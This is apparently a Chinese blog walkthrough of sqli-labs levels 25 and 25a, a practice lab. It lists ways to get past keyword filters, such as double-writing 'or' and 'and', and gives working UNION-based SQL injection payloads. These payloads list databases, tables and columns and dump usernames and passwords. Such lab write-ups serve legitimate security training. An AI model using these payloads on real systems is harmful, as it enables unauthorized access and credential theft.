sqli-labs第二十五二十五a关

绕过一般思路

• 大小写变形Or，oR，OR

• 编码，hex，url

• 添加注释/*or*/

• 利用符号and=&&，or=||

• 双写绕过

Less-25（GET - Error based - All your OR & AND belong to us - string single quuote)

手工注入

闭合方式判断

?id=1'

单引号闭合

回显位判定

?id=-1'  union select 1,2,3--+

查询数据库名

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+ 

注意上面的语句和下面输出语句的不同

?id=-1' union select 1,group_concat(schema_name),3 from infoorrmation_schema.schemata --+ 

成功看到数据库名。

查询表名

?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database() --+ 

查询列名

?id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name="users" --+ 

查询数据

?id=-1' union select 1,group_concat(username,passwoorrd),3 from users --+ 

自动化注入脚本

和前面一样建议看看前面的

(1条消息) sqli-labs第一二关_himobrinehacken的博客-CSDN博客

Less-25a（GET - Blind based - All your OR & AND belong to us - Intiger based)

手工注入

和上面一样只需要去掉单引号就能成功。

?id=-1 union select 1,group_concat(username,passwoorrd),3 from users --+

自动化注入脚本

和前面一样建议看看前面的

(1条消息) sqli-labs第一二关_himobrinehacken的博客-CSDN博客